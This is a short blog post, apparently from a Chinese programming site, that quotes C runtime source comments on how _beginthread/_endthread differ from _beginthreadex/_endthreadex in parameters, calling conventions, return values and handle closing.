* Free up the _tiddata structure & its subordinate buffers
* _freeptd() will also clear the value for this thread
* of the TLS variable __tlsindex.
* Differences between _beginthread/_endthread and the "ex" versions:
*
* 1) _beginthreadex takes the 3 extra parameters to CreateThread
* which are lacking in _beginthread():
* A) security descriptor for the new thread
* B) initial thread state (running/asleep)
* C) pointer to return ID of newly created thread
*
* 2) The routine passed to _beginthread() must be __cdecl and has
* no return code, but the routine passed to _beginthreadex()
* must be __stdcall and returns a thread exit code. _endthread
* likewise takes no parameter and calls ExitThread() with a
* parameter of zero, but _endthreadex() takes a parameter as
* thread exit code.
*
* 3) _endthread implicitly closes the handle to the thread, but
* _endthreadex does not!
*
* 4) _beginthread returns -1 for failure, _beginthreadex returns
* 0 for failure (just like CreateThread).
http://www.yippeesoft.com/blog/p/04030beginthreadexendq.php
04030 _beginthreadex _endthreadex 线程 问题
标签:int, thread, _endthreadex, 线程